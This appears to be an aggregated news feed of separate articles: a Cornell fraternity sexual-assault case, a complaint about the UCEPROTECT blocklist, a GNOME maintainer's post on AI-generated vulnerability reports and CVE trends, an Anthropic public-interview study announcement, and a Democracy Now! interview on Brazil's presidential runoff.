Revelations of sexual assault at a Cornell University fraternity in 2024 and how the university responded have sparked national outrage, reigniting a public debate about “the extent to which fraternities, the extent to which athletics really support this kind of culture that allows perpetrator...
Original Article

Revelations of sexual assault at a Cornell University fraternity in 2024 and how the university responded have sparked national outrage, reigniting a public debate about “the extent to which fraternities, the extent to which athletics really support this kind of culture that allows perpetrators to escape with little or no accountability,” says law professor Deborah Tuerkheimer.

In 2024, seven male students avoided criminal prosecution after allegedly drugging and gang-raping a female student at the Chi Phi fraternity house. Cornell is now under intense scrutiny for its handling of the original investigation, which found that the student identified as Jane Doe was sexually assaulted by two of seven men, resulting in expulsions for two and lesser consequences for the other five. Tompkins County District Attorney Matthew Van Houten has admitted that his office at the time did not independently investigate the case when it declined to bring charges. The DA has now reopened the case, and New York Governor Kathy Hochul has named Attorney General Letitia James as special prosecutor to investigate how the case was handled.

“Around the country, we see a pattern of investigators, police officers and even prosecutors deciding at the outset that the allegations are not worth pursuing, and dismissing the case before any kind of investigation gets off the ground,” says Tuerkheimer.


Please check back later for full transcript.

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

Tell HN: Uceprotect is extorting website owners

Hacker News
news.ycombinator.com
2026-10-05 08:35:55
Comments...
Original Article

I recently discovered by accident that our website was being blocked by Orange's security filters.

After a quick check, I found that our IP address is listed on UCEPROTECT Level 3. The listing is based on the reputation of the entire ASN 14061 (DigitalOcean, US) [1]. In other words, even if your IP did nothing wrong, it will still be listed because of its ASN.

If your site is innocent and listed only because it's hosted on DigitalOcean, UCEPROTECT offers to whitelist it for about $30/month or $108/year [2].

I checked the ASNs of several other popular hosting providers, and they're all listed too. So if your site is hosted on DigitalOcean or any other major provider, it's probably blacklisted as well. That can cut you off from customers on mobile networks like Orange, whose "cybersecurity protection" uses blacklists like UCEPROTECT to filter traffic.

Honestly, in my 20-year career, this is the first time I've seen a blacklist misbehave this badly and ask for money when there's clearly been no wrongdoing.

[1] http://www.uceprotect.net/en/rblcheck.php?asn=14061

[2] https://www.whitelisted.org/

The Era of Software Quality, or the Era of Ostriches?

Hacker News
blogs.gnome.org
2026-10-05 08:33:15
Comments...
Original Article

Humans are bad at writing secure code, and GNOME developers are no exception. GNOME is primarily written using unsafe programming languages where simple mistakes in our code lead to devastating consequences for our users , and we make these mistakes all the time . No matter how much we try, GNOME developers will fail write secure code when using unsafe languages like C, C++, or Vala: it’s just too hard for even experienced developers to do properly.

The above paragraph is taken from the abstracts of my GUADEC 2024 and 2025 talks. At the time, I thought failure was inevitable: we humans were so bad at writing software that we had no chance to do it properly, and I certainly would not have trusted an AI to do better than a human. But the landscape today is completely different than last year. AI has improved considerably, and offers a magic fairy wand solution to this problem: we can now simply ask a language model to look for vulnerabilities in our software. They are quite good at this.

There is zero hope of maintaining quality software in 2026 without AI vulnerability scanning. Any claims to the contrary are unserious and delusional. The tremendous quantity of bugs found in our best-maintained projects, like GLib and fwupd, should speak for itself. Failure to scan our projects is an unfair disservice to our users. If we don’t find the vulnerabilities by scanning projects ourselves, attackers certainly will, because the Linux user base has increased to the point that Linux users are finally numerous enough to be worth targeting. Meanwhile, AI has made it easier than ever to build working exploits , which was previously unheard of.

Already resolved all the detectable vulnerabilities? Then ask the AI to look for non-security bugs as well, to further improve quality. GNOME code is generally much better than it used to be, but there remains considerable room for improvement. For the first time in history, we now have the opportunity to improve software quality to a degree that was never realistic before.

Have you heard that most AI bug reports are “slop?” Not so in 2026. That was true for most of 2025, but the quality of AI-generated vulnerability reports has drastically improved. That is not to say that we no longer have problems with bad vulnerability reports, but in general, nowadays most of them are pretty good. ( Daniel Stenberg reports the same pattern for curl. )

AI-generated vulnerability reports have nevertheless introduced many undesirable impacts on GNOME maintainers. They are usually annoyingly verbose and unnecessarily detailed. They often exaggerate the severity of the problem, or make misleading or irrelevant claims. They are occasionally incorrect. Sometimes they include outright fabricated data, such as fake stack traces (which is not the norm, but sadly also not uncommon). A good human reviewer will notice and resolve most of the above problems before creating a bug report on your issue tracker, but often problems are reported by inexperienced humans who do not actually know what they are looking at and simply copy/paste everything blindly. Even when the generated issue report is good and avoids all of the above problems (which is rare), good vulnerability reports in sufficiently high quantity can still overwhelm volunteer maintainers. And even if reporters submit a merge request to resolve the problem so maintainers don’t have to (which is also rare), reviewing those merge requests is itself more unwelcome work for overworked maintainers.

That all is to say: I understand the pain caused by the current wave of AI-generated issue reports. Nevertheless, they are essential and unavoidable. We have to learn to accept and deal with them, not stick our heads in the sand and ignore them.

Some GNOME maintainers have adopted a policy prohibiting AI-generated content in issue reports. Do not do this. Nowadays, the overwhelming majority of vulnerability reports are AI-generated. Projects that choose to ban AI-generated content in issue reports might as well ban all vulnerability reports; the effect will be approximately the same.

I propose the following:

  • GNOME maintainers should rewrite their AI contribution policies to permit AI-generated vulnerability reports, as I previously requested four months ago .
  • Projects that continue to prohibit AI-generated vulnerability reports are no longer suitable dependencies for GNOME, and should be developed someplace other than GNOME GitLab.

We don’t have to tolerate bad issue reports, but AI use alone should not be disqualifying.

Shouldn’t humans rewrite AI-generated bug reports?

When I complain that maintainers should allow AI-generated vulnerability reports, the most common counterargument is that humans should read the AI’s report, understand it, and rewrite the entire thing to remove all AI-generated content. Some bug reporters actually voluntarily do this, but this is rare.

Vulnerability reporting is a public service, not an obligation. If you ask a reporter to do any amount of extra work, they might be willing to do so, but it’s much more likely that they will either stop looking at your project and move on to something else, or continue looking at your project and publish the vulnerability reports someplace other than your issue tracker.

Rewriting issue reports also does not scale. Let’s say you use AI to find 100 security bugs in a GNOME project, a number consistent with the results of actual scans (read on). Would you really spend months rewriting those bug reports before submitting them to upstream? Validating the AI’s claims, upstreaming the issue reports, and submitting merge requests is already a lot of work. Not many people would be willing to additionally rewrite all the issue reports. That’s more work than everything else combined, and is unrealistic.

Even with just a small number of bugs, I would hesitate to spend much time rewriting an issue report because I have many other tasks I would rather spend my time on. At best, I might prepare a quick summary, but it won’t be as useful as a full report.

The CVE Wave Hits GNOME

The current wave of vulnerability reports is reflected in GNOME’s CVE issuance trends:

Year GNOME CVEs GNOME CVEs Excluding GIMP, Gegl, libxml2, and libxslt
2021 21 14
2022 14 6
2023 13 4
2024 37 28
2025 97 49
2026 Year-to-date (2026-09-30) 141 74
2026 Normalized 188 (141 * 4 / 3) 99 (74 * 4 / 3)

The trend here should be pretty clear. Until recently, not many people were reporting vulnerabilities in GNOME. That has changed. We are currently dealing with an order of magnitude more CVEs than just 3 years ago. AI is not the only reason for this; GNOME maintainers have also gotten a little better at flagging issues so that I add them to security tracking. But AI is the primary cause for the increase.

(A few technical notes on this table. CVEs are classified by the year the issue was reported to GNOME, not by the year in the CVE identifier, so e.g. many CVE-2026 issues are counted in 2025. Vulnerabilities reported in 2026 which do not yet have CVEs are not counted, so you can think of the data as being accurate through roughly September 1; multiply the 2026 numbers by 4/3 to make them comparable to the prior years. I count only issues reported to GNOME Security , so any unreported CVEs do not count.)

Although there are still 3 months left in 2026, we will never have data for the rest of the year because I have ended security tracking for new issue reports and nobody else has volunteered to do that work. These CVEs exist only because I request them myself, so I expect the number of CVEs to drastically decrease going forward.

The CVE Wave Hits WebKitGTK

A similar pattern holds for WebKitGTK:

Year WebKitGTK CVEs
2015 175
2016 57
2017 158
2018 101
2019 99
2020 38
2021 52
2022 50
2023 45
2024 38
2025 66
2026 Year-to-date (through WSA-2026-0006 ) 305

CVEs are reported against the year they appeared in a WebKitGTK security advisory, not the year in the CVE ID. The large increase in 2026 is entirely due to AI analysis of Skia and ANGLE. WebKit bundles these libraries because they are not designed to be installed as system libraries, so their vulnerabilities should be counted the same as vulnerabilities in WebKit’s own code. Excluding Skia and ANGLE, there are actually only 21 other WebKitGTK CVEs so far this year, a significant decrease, but excluding CVEs in bundled code would not be fair.

There has actually been a very large increase in WebKit security fixes this year, but this has not resulted in any increase in CVEs. Apple generally creates CVEs for flaws found by external researchers, not often for flaws found by WebKit developers, so the increase in security fixes is not reflected in the total number of CVEs. Only a small fraction of WebKit vulnerabilities receive CVEs.

I had not previously noticed that the count of WebKitGTK CVEs had, until 2026, been decreasing over the past decade. I am not sure why. I also do not know how to explain the low number in 2016.

Announcing the GNOME Bug Bounty Program and Announcing the End of the GNOME Bug Bounty Program

My blog post to-do list says that I need to write a blog post announcing the creation of the GNOME Bug Bounty Program on the YesWeHack platform. Oops, too late. It’s already closed. (Once a task enters my to-do list, it can be a very long time before I get around to doing it.)

The GNOME Bug Bounty Program was generously sponsored by the Sovereign Tech Resilience program of Germany’s Sovereign Tech Agency. I’m not sure precisely when it opened, but the first vulnerability was reported on June 27, 2024, so it would have been sometime shortly before then. We accepted issue reports only for GLib, glib-networking, and libsoup, because GNOME had never operated a bug bounty program before and we did not know what to expect. Starting small had — naively — seemed like a prudent way to avoid a large quantity of issue reports. I had wanted to expand the program to cover all of GNOME, but this failed due to the overwhelming deluge in issues reported against GLib and libsoup.

I requested that the bug bounty program end because I was overwhelmed with incoming AI-generated issue reports. The final issue was reported on February 23, 2026. Here are the results:

Year Reports Submitted Reports Accepted
2024 26 14
2025 150 33
2026 122 24
Total 298 71

Those numbers for 2026 reflect less than two months’ worth of issue reports, so you can see why it was no longer sustainable.

After the program closed, our work was not done: there was a long backlog of reports to work though. We just last month caught up with accepting the last of the issues reported back in February, and the last bounty was finally awarded earlier today! Even with YesWeHack’s professional triagers analyzing the issue reports before I reviewed them, keeping up with such a large number of vulnerabilities was not easy for me.

At this point, all reports not accepted have been rejected. The program awarded €183,900 in bounties for 71 vulnerabilities: 45 in libsoup, 23 in GLib, and 3 in glib-networking. Award amounts varied from €500 (16 awards) to €7,500 (2 awards). The arithmetic mean award was €2,662.99.

Bug bounty programs are an exception to the rule that most AI-generated vulnerability reports are good. You can see the number of reports accepted is a small fraction of the number of reports submitted. Excluding 30 reports closed as duplicates, that leaves 197 reports rejected. Turns out, people will submit bad reports when financially incentivized to do so. The low percentage of accepted reports even understates the problem, because many of the accepted reports were actually not very good! Many accepted reports did successfully identify valid security problems (in fact, many of the rejected reports successfully identified valid security problems!), but required many rounds of revision and corrections.

Suffice to say, I have reviewed a lot of really bad AI-generated vulnerability reports. But the reports we received via the discontinued bug bounty program are not comparable to the reports received via regular GNOME issue trackers or the security bug report form . We do still occasionally receive bad vulnerability reports, but not often and not many, so it’s not a big problem anymore. When people submit AI-generated reports without hope of a financial award, those reports are generally much better.

Lessons from the Bug Bounty Program

Closing the bug bounty program because it found too many vulnerabilities is not a particularly pleasant result. That said, it was still a partial success in that it uncovered lots of bugs in libsoup and GLib.

I had hypothesized that libsoup was probably not very secure, but I never imagined just how many vulnerabilities would be discovered. To reduce the quantity of incoming issue reports and better reflect actual risk to GNOME users, I eventually removed all denial of service bugs from program scope, and then later removed SoupServer from the scope due to too many request smuggling vulnerabilities , which are HTTP request parsing bugs that pose no threat to GNOME users. Even with those changes, the libsoup vulnerability reports kept coming until I gave up. The silver lining is that libsoup is now relatively much more secure than before. Other bug reporters have been submitting AI-generated bug reports using the normal libsoup issue tracker, so fortunately the improvements to libsoup will continue despite an end to the financial awards.

I had hypothesized that GLib would be much better than libsoup. I’m not sure whether I was correct. Evaluating the severity of GLib flaws is much harder than for libsoup, since GLib vulnerability reports are generally hypothetical in nature: usually some proof of concept program calls a GLib API using valid but improbable values, then something bad happens.

A large portion of the GLib bugs were integer overflow flaws, which generally result in buffer overflow. I am now more scared of integer overflow than anything else. It’s likely that most software projects have many integer overflow problems. Fortunately, we should be able to catch most such problems by adjusting the compiler flags we use. In particular, -Wconversion or -Wint-conversion and -Wsign-compare should help here. Some GNOME projects already use -Wsign-compare , but I suspect most do not. I think few or no GNOME projects use -Wconversion or -Wint-conversion .

Resuming the bug bounty program would only be possible under substantially different conditions. What we were doing was not working well. To resume, we would need to limit the scope to projects that regularly perform their own AI vulnerability scans. We would also most likely want to pay only for functional exploits, rather than for all vulnerabilities. GNOME code is currently not good enough to continue paying for every vulnerability, and it no longer makes sense to pay bounties for issues that can be found by AI scanners.

Red Hat Scans GLib

Red Hat has contracted with AISLE Research to perform AI vulnerability scans of various GNOME projects. We received a large quantity of findings, and are only just now beginning to individually validate and report our findings to upstream. GLib is by far the hardest hit project, which I was not expecting, accounting for more than 40% of our total findings. I’m not certain why, but perhaps this is because GLib provides so many public APIs. Data passed to public APIs is potentially untrusted, so the attack surface is considerable.

Red Hat’s scan of GLib found 118 vulnerabilities. Or at least, it claimed to. However, due to the way we ran the scans, several of these are actually unnecessary duplicates of each other, which we have not fully deduplicated yet, so the number I report is not entirely trustworthy. Moreover, 46 of these “vulnerabilities” are bugs in gobject-introspection, mostly in the typelib support, which is evidently not very robust. A typelib controls how your program calls libraries; it is effectively calling convention, so it must inherently be fully trusted: a malicious typelib would be able to induce vulnerabilities even without any bugs! I would expect an AI ought to have been able to figure that out, but apparently not. These bugs are still real problems that we ought to fix, but all maintainers agree they are not security vulnerabilities, so let’s count all of them as false positives. That alone creates a 40% false positive rate. Ouch.

I don’t have more stats to share here because we are not yet done working through the issue reports. That said, I am quite pleased with the results thus far. Substantially all of the reports are high-quality. The false positive vulnerability reports are almost all due to one particular misunderstanding and can be treated as good quality non-security bug reports, which are still valuable. Expect many forthcoming CVE assignments for the other findings.

It’s rare for Linux vendors to proactively look for software vulnerabilities, rather than waiting for security researchers to report them. This was a successful experiment in proactively seeking out problems.

Humans Still Useful

In addition to the bug bounty program, the Sovereign Tech Resilience program also sponsored a security audit for GNOME, performed by Codean Labs. This resulted in many findings in various GNOME projects. Most notably, the scope of the audit extended to Flatpak and xdg-desktop-portal, resulting in critical findings .

Most of these issues could have been detected via AI scans, but I am not confident that AIs would have been able to discover the most important findings, like the two Flatpak sandbox escapes that I linked to above. Accordingly, I do not recommend relying on AI alone.

Humanity Still Desired

Although I like AI-generated issue reports, I particularly do not appreciate when I wind up interacting with a robot rather than with a human. It’s pretty obvious when your issue tracker or code review comments are written by an AI. Consider whether outsourcing your writing and your thinking to a language model is truly wise for your public image.

We even have one experienced GNOME developer who is obviously using AI to write all of his posts on GitLab. I am unsure whether he is copy/pasting all of his responses from an AI, or whether he is just a bot now. I especially do not understand the value of this.

Here is a soft proposal, intended only as a starting point for discussion and not as a serious proposal, for what my preferred AI usage policy might look like:

  • Newer developers should exercise caution when using AI to write code. Your priority should be learning, and I wonder how much you are really learning when relying on the AI to do work for you.
  • Do not use AI to write code comments. Currents AIs are terrible at writing comments. Most comments written by AIs should be deleted. If a comment is truly necessary, then I’d like to see it written in your own words. Presumably AIs will get better at this eventually, but as of 2026, human judgment is still required here.
  • Do not use AI to write commit messages. AIs are actually probably better than humans at writing commit messages, but I would still rather hear your own thoughts on the code you are submitting.
  • Certainly do not post AI-generated comments on an issue tracker or merge request as if they are your own. You’re not fooling anybody.

Maintain Perspective

Are you scared by the large numbers of recently-discovered vulnerabilities? There is no need to panic. Security bugs are just bugs, and they’re not necessarily more important than other bugs. Occasionally they are emergencies, but far more often they are boring and unexceptional. Security vulnerabilities are not even the biggest digital security threats that users face: those are surely phishing and trojans , with software security bugs a distant third place. No amount of CVE fixing will protect you from those more likely threats.

I don’t want to downplay the severity of security issues either. In fact, evaluating severity is hard. I quite often decide that a bug is not a big deal, only to be proven incorrect. Ideally, we would fix as many security issues as possible, and sooner rather than later. Lifetime issues and out of bounds writes are especially important to fix. Two years ago, I claimed that memory safety vulnerabilities were becoming less threatening, a claim that did not age well: that is surely no longer true due to the drastically increased accessibility of AI exploit generation.

Nonetheless, volunteer maintainers should not feel obligated to fix security issues or treat them as higher-priority than other bug reports. It’s certainly good to fix problems when possible, but my request is only that you do not prohibit issue reports, not that you attempt to personally resolve every security problem yourself. When I add due dates to vulnerability reports, that represents only a disclosure deadline — because issue reports should not stay confidential indefinitely — not an expectation that you fix the issue by that date. Resolving security problems in projects used by big tech companies that depend on your software without contributing back is basically free labor for said companies, and only you can decide whether that’s how you want to spend your volunteer time.

Rust

Yes, even projects written in memory safe languages like Rust still need to allow AI-generated vulnerability reports. Rust will indeed eliminate most memory safety issues ( except in unsafe blocks ), and you can reasonably expect a Rust project to have an order of magnitude fewer vulnerabilities than a comparable project written in C or C++ or Vala. This is amazing, but not all vulnerabilities are memory safety issues, so this is not an excuse to avoid scanning for flaws.

Although Rust mostly eliminates memory safety risk, any use of Cargo to download dependencies dramatically increases supply chain security risk. The risk of bundling a trojanized dependency arguably — I would even say probably — outweighs the benefit of eliminating memory safety flaws. This problem is inherent to any programming language package manager. Currently the best solution is to not use programming language package managers, but GNOME’s Rust code depends heavily on Cargo. Accordingly, I recommend against using Rust for writing GNOME software.

To Be Continued…

I have exhausted my thoughts on AI vulnerability reports, but there is still much to discuss regarding software quality. Next time, I will discuss additional strategies to improve GNOME quality without significantly relying on AI.

Anthropic wants your thoughts on AI

Hacker News
www.anthropic.com
2026-10-05 08:21:02
Comments...
Original Article

We’re launching a new study using Anthropic Interviewer to learn from your experiences with AI, and we’d like you to participate. After you finish, you can decide to make your interview public, so that anyone, not just Anthropic, can read and learn from it. You can participate here .

We are at a pivotal moment in the development of AI, as its growing capabilities mean it becomes potentially more useful and more dangerous. Frontier AI is rapidly accelerating discoveries in science and medicine , while at the same time the cost of its misuse grows more consequential — a single security incident can cause far more damage than it did a year ago.

How to weigh these benefits and risks shouldn’t be left to AI companies alone. Your voice can help guide us, other AI labs, and policymakers as we navigate this uncertain future together. Our big questions are:

  • What are your most meaningful experiences with AI, both positive and negative?
  • Is there anything about how the world works (like work, school, healthcare, or government) that you’d like AI to help change?
  • What do you want from the companies developing AI?

This project builds on a similar study conducted last December, in which 81,000 people told us their hopes and worries about AI. That study shaped the Anthropic Institute’s agenda , was presented at the World Economic Forum to international leaders and decision-makers, and continues to guide our ongoing Societal Impacts and Economics research .

AI and Anthropic have changed a lot since then. AI has improved, more people use Claude, and people’s feelings toward the technology have shifted. For the previous study, only the high-level results and a small number of quotes were made public. This time, we want your thoughts to be made widely available so that anyone can learn from them.

We’ve written a FAQ so you can make an informed decision about whether to make your interview public and what to share. You can choose to participate here .


FAQ

What’s the interview about?

The interview asks about your experiences with AI and what you want from it. We’ll ask about the moments with AI that have mattered most to you, both positive and negative, whether there’s anything about how the world works that you’d like AI to help change, and what you want from the companies developing AI, including Anthropic. There are no right answers; we want to hear about your experiences in your own words… And we don’t want to give too much away before you take it!

No. It’s optional.

What gets published if I make my interview public?

We will publish your complete interview and the country associated with your conversation. We will not include your Claude account information, such as name or email address.

What are the benefits to publicly sharing my interview?

Your perspective will be heard not just by us, but by anyone interested in studying and improving AI. We want anyone to be able to study how AI is impacting people and how AI development should progress.

Researchers and policymakers around the world can read interviews in their own languages, read responses shared from different regions, and ask questions we didn’t think to ask. Many bring expertise we don't have on staff, and they may have insights we didn’t think to look for. Anyone can check whether our published findings actually reflect what participants said.

Your interview also becomes part of the public record of this moment in AI, open to future historians, journalists, and researchers, and can inform how society responds to this moment. That record is also hard for AI companies and others shaping AI development to ignore. If many participants say companies like Anthropic should do something differently, that language stays public where anyone can reference it.

What are the risks to publicly sharing my interview?

While we won’t publish your Claude account information, such as your name or email address, we encourage participants to consider that anyone can read a public interview. This includes employers, friends and relatives, as well as governments and other companies. Depending on what a participant shares, others may be able to link the participant back to their interview. Details that seem harmless on their own, such as age, job, city, or where you studied, can make it easier to identify you. We don’t ask for these details in the interview and encourage participants to avoid sharing them.

Once public, an interview could be used in ways a participant does not intend, including by scammers and other people who may seek to misuse personal information. We can remove our copy of your interview on request, but we can’t delete what people have already saved. For that reason, treat your decision to make your interview public as permanent.

Could someone identify me from my public interview?

We won’t attach your name or account information, but we don’t edit interviews, so we can’t guarantee you won’t be re-identified from what you say. Someone could use AI to combine small details, like employers or past projects, to work out who a participant is. Researchers have shown this can work with interviews from Anthropic Interviewer.

The best protection is to not share information that could identify you or others. During the interview, we show examples of information you shouldn’t share, and you review your full interview before deciding whether to make it public.

Before the interview, we explain what making an interview public involves. We tell participants that we will not include their Claude account information in the public release, but that others may be able to identify them from what they share. We also explain that making an interview public means anyone can read, save, and use it. We can remove our copy on request, but we can’t delete what people have already saved.

During the interview, you will see examples of the types of sensitive information we advise not to share. After the interview, you can reread what you said before deciding whether to share it publicly. You will be reminded of both the benefits and risks, and if you choose to share, we will confirm your decision one last time.

What happens if I don’t make my interview public?

We’ll still analyze it as part of our Societal Impacts research, but your full interview won’t be published. We may still publish and share aggregated or de-identified findings resulting from your interview. If you don’t want us to analyze it either, you can end the interview early (see “Can I decide to end the interview early and delete the record?” below for more detail).

If I make my interview publicly available, can I change my mind?

Not fully. Once your interview is public, anyone can read, save, and use it. We can remove our copy of your interview on request, but we can’t delete what people have already saved. Treat the decision as permanent. Learn more .

Will you edit my interview before publishing it?

No, we don’t plan to edit interviews before publishing them. Once the study is complete, we’ll do a final review and may remove interviews we don't believe would be responsible to publish, such as interviews with confidential information or ones that violate our Usage Policy or Terms of Service .

How will Anthropic use my interview?

We'll analyze interviews as part of our Societal Impacts research, share our findings publicly, and use the results to inform how we develop our models and products. Learn more .

Can I decide to end the interview early and delete the record?

Yes, you can stop at any time by clicking the “End interview” button. If you end early, your partial interview will be permanently deleted, and won’t be analyzed or published, including by Anthropic.

Who can take the interview and how long does it take?

This study will run from September 29 to October 6, 2026, and is open to Free, Pro, and Max users on Claude and Claude Code whose accounts are at least two weeks old. Each interview takes roughly 15 minutes and is conducted by Anthropic Interviewer , an AI that asks you questions.

How is this different from the December 2025 study ?

We updated the questions, the study is open on more Claude products, and for the first time you can choose to make your interview public.

When and where will the interviews be published?

The interviews will be published online once we have completed the study and our initial analysis.

What are the limitations of this study?

Participants in this study will all be people who use Claude, which is not a representative sample of the public. Published interviews are a further subset, since people who opt in for public release may differ from those who don’t. And as with any interview, the questions we ask shape what people share. Even so, nothing like this has been public before. We believe it can significantly advance the study of how AI is changing people’s lives.

Far Right Makes Gains in Brazil as Flávio Bolsonaro Tops Lula in First Round of Presidential Race

Democracy Now!
www.democracynow.org
2026-10-05 08:15:57
Brazil’s presidential election is headed to a runoff between leftist incumbent Luiz Inácio Lula da Silva and far-right Senator Flávio Bolsonaro after neither candidate cleared 50% in Sunday’s vote, in which the right made gains in Congress and in governor races across the country. Bolson...
Original Article

This is a rush transcript. Copy may not be in its final form.

AMY GOODMAN : We begin today’s show in Brazil, where the presidential race between President Luiz Inácio Lula da Silva and far-right Senator Flávio Bolsonaro is headed to a runoff. During the first round of voting Sunday, Bolsonaro received 47% of the vote; Lula got 45%.

Bolsonaro is the son of Brazil’s former far-right President Jair Bolsonaro, currently under house arrest serving a 27-year sentence after he was convicted of plotting a military coup in 2022 to overturn Lula’s win in that year’s election. If elected, Flávio Bolsonaro has pledged to grant amnesty to his father and others involved in the coup. Flávio has also vowed to strengthen ties to the Trump administration.

In Senate races, Bolsonaro’s party secured 19 of the 54 Senate seats up for grabs. In total, the right or far right won 34 seats. Flávio Bolsonaro spoke to supporters in the capital Brasília.

SEN . FLÁVIO BOLSONARO : [translated] I am very happy about the real possibility that three weeks from now Brazil will give a definitive answer that it wants a modern government, a government with fewer ministries, a government that will restore democracy. What I have to say is that Lula is fighting for power. He has already contested seven presidential elections. Seven presidential elections. He is concerned about power. I am concerned about Brazil’s future. I am fighting for Brazil.

AMY GOODMAN : Brazilian President Luiz Inácio Lula da Silva addressed supporters in São Paulo.

PRESIDENT LUIZ INÁCIO LULA DA SILVA : [translated] The result is unexpected. We never get everything we want. I must admit that I was convinced that I was going to win on the first round. … But we have the second round, and the runoff is the moment of truth. It’s time to show the true Brazilian picture, because today is the Brazil we want. So, starting tomorrow, we’re launching a new campaign.

AMY GOODMAN : Ahead of the elections, a group of 31 Democratic lawmakers sent a letter to U.S. Secretary of State Marco Rubio, accusing the Trump administration of being engaged in a, quote, “sustained, multifaceted campaign of interference and destabilization in Brazil,” unquote.

We go now to Rio de Janeiro, where we’re joined by Rodrigo Nunes. His new book, out this week, Anatomy of Disintegration: What Brazil Reveals About the Global Far Right . He’s associate professor of philosophy at the Pontifical Catholic University of Rio de Janeiro, Brazil, and a visiting fellow at the University of Essex, U.K.

Rodrigo Nunes, thanks so much for being with us. First, if you can respond to Flávio Bolsonaro coming out ahead, 47 to 45%, against President Lula, and Lula’s even expression of surprise, saying he expected to win this round? Of course, then it goes to the next runoff election on October 25th. Can you talk about what happened in Brazil and its significance?

RODRIGO NUNES : Well, I think anyone who’d been following closely the polls and the tendencies in this election would have thought it would be tight, both in the first and in the second round, but everyone really did expect Lula to come marginally ahead of Flávio in the first round. So that was a surprise.

Having said that, it isn’t a surprise that this is a victory for the right. Everyone could tell that they were going to have the majority in Congress, that they were going to come very close to an easy majority in the Senate, which puts them very close to being able to impeach Supreme Court justices, which is — which has been one of their main rallying points in this election.

So, yes, Flávio coming ahead is a surprise, but everything else, the Congress results, the results in the majority of states that the right has also carried, none of that is really a surprise at this point.

AMY GOODMAN : Tell us who Flávio Bolsonaro is, the son of the former far-right president.

RODRIGO NUNES : Sorry. Could you —

AMY GOODMAN : I want you to tell us —

RODRIGO NUNES : Could you come again?

AMY GOODMAN : I want you to tell us who —

RODRIGO NUNES : Because I lost you for a second.

AMY GOODMAN : I want you to tell us who Flávio Bolsonaro is. But first, let me go back to the current president, Lula, speaking last night, criticizing Flávio Bolsonaro.

PRESIDENT LUIZ INÁCIO LULA DA SILVA : [translated] We only have uncertainties, with a murky biography and a shadowy past. Nothing suggests a promising future for Brazilian society, either in the biography of the father or the son, and we do not know the details regarding other relatives’ biographies. It is a murky biography. There are publications and evidence pointing to very serious suspicions linked to militia, organized crime and Rio de Janeiro’s murders. All of this will become clear, as will his involvement in the founding of Banco Master, which led not only to the biggest corruption case in this country, but also in the biggest orgy involving this country’s authorities.

AMY GOODMAN : If you can respond, Rodrigo Nunes, to what Lula said? And give us the background of Flávio Bolsonaro.

RODRIGO NUNES : So, when Flávio was chosen by his father to be the candidate of the far right, not even people in the right expected him to catch as a candidate. Everyone thought he was too weak and inexpressive as a candidate to actually run against someone, a figure as strong, a figure of the stature of Lula. So, even for the right, it was a surprise that his candidacy did become a real thing in the course of the last months. He is the oldest son of the Bolsonaro clan, and he is the more traditional figure among his brothers, who are all also in politics. He is more of an old-style politician rather than a culture warrior like his other brothers, and even, to some extent, his father.

And in particular, whereas his dad had very strong ties to the military and dependent on — depended on the military a lot for his government, what is most worrying about Flávio Bolsonaro is that there are very well-documented stories connecting him not only to various corruption scandals, including the main corruption scandal that is being talked about in Brazil at the moment, which involves a failed bank that helped, among other things, fund a film on — a biopic of Jair Bolsonaro’s that many people suspect was actually used as a way of channeling funds into the campaign and into the lobbying operations that the Bolsonaro family has been doing alongside the U.S. government since last year, but — so, basically, not only he’s got several ties to several corruption scandals, but, more worryingly, he’s got a well-documented history of ties to organized crime in Rio, not only to the paramilitary militias that occupy several parts of Rio, but also lots of people in his political group in Rio are connected to the drug trade. So, obviously, a victory for him worries several people in Brazil that it would be a victory for organized crime, bringing organized crime to the very top of Brazilian politics.

AMY GOODMAN : And if you can talk about not only the fact that Flávio Bolsonaro came out ahead, but the fact that the far-right and right parties also came out ahead, and what this means, and where you think this runoff election will go, who the other candidates were who will now be not part of it, who might throw their support to, or simply their voters will go to, either Flávio Bolsonaro or Lula?

RODRIGO NUNES : So, another sign of how strong the right is in Brazil at the moment is that the only candidate on the left was Lula. Everyone else contesting this election is broadly in the right-wing camp, or even far right, even farther to the right of Flávio. The tendency is, of course, that most of those votes are going to go to Flávio now. Certainly, the momentum is with him at this moment. He’s leaping ahead in the first round, and I would expect him to go even farther in the first polls that will come out this week. Certainly, the momentum is all with him.

And it has to be said, in a certain way, the momentum has been with the right since 2018. The right wing has managed to — if we understand a cultural revolution to mean shaping the way in which most people understand reality, in which most people see what’s happening around them, then you could say that the far right has managed to produce a cultural revolution in Brazil, especially in the south of Brazil, in those areas in which agribusiness is strong, or what you could call the extractive frontier, where you have agribusiness, mining and so forth, and even in the south — the southeast, and even in the peripheries of Brazil, where lots of people see the far right as promising them, “Well, if things — if this is all there is, if all we can expect from the future is ever more dog-eat-dog conditions, ever more — an ever more competitive struggle of all against all, at least what the far right says is the state will get off our backs. We won’t have to — we’ll pay less taxes. There’ll be less regulations stopping us from doing what we need to do in order to survive. And even at the end of the day if I remain hyperexploited, at least there won’t be anyone telling me that I can’t make jokes about gay people, or there won’t be anyone meddling with my private life if I beat my wife up.” So, there’s a very complex portfolio, let’s say, of material and psychological compensations that the far right offers. And it has to be said, it’s a message that has been working.

And even though Lula has been in power for the last four years, he was — he was always dealing with a Congress that was in its majority of the right and far right. He didn’t manage to do anywhere near enough to counter the strength of the far right in Brazilian society. And what we see is basically a continuous growth. Even though Bolsonaro lost the last elections to Lula, what you can see is just a continuous growth from 2018 until now. And you see that in the way that they’ve carried most states, that they carried the majority of the Congress, and so on.

AMY GOODMAN : So, last week, a group of 31 U.S. Democratic lawmakers, led by Congressmembers Delia Ramirez, Pramila Jayapal, Jesús “Chuy” García, along with Senator Bernie Sanders, sent a letter to U.S. Secretary of State Marco Rubio accusing the Trump administration of interfering in Brazil’s elections, the letter saying, “Over the course of President Trump’s second term, we have seen U.S. officials engage in a sustained, multifaceted campaign of interference and destabilization in Brazil,” and then goes on to outline the diplomatic, economic and political pressure wielded by the Trump administration leading up to the elections. What do you know of whether there was U.S. interference there? Of course, both Flávio Bolsonaro, his father Jair Bolsonaro, very close to President Trump, and you have Flávio also promising to pardon his father, who’s under house arrest for decades for involvement in the attempted coup against Lula.

RODRIGO NUNES : So, Amy, I belong to what is called in Brazil the redemocratization generation, i.e. the people who were born in the very last years of the military regime. And I have to say, I didn’t expect, in my life, to see the level of U.S. interference that we’ve seen in these elections.

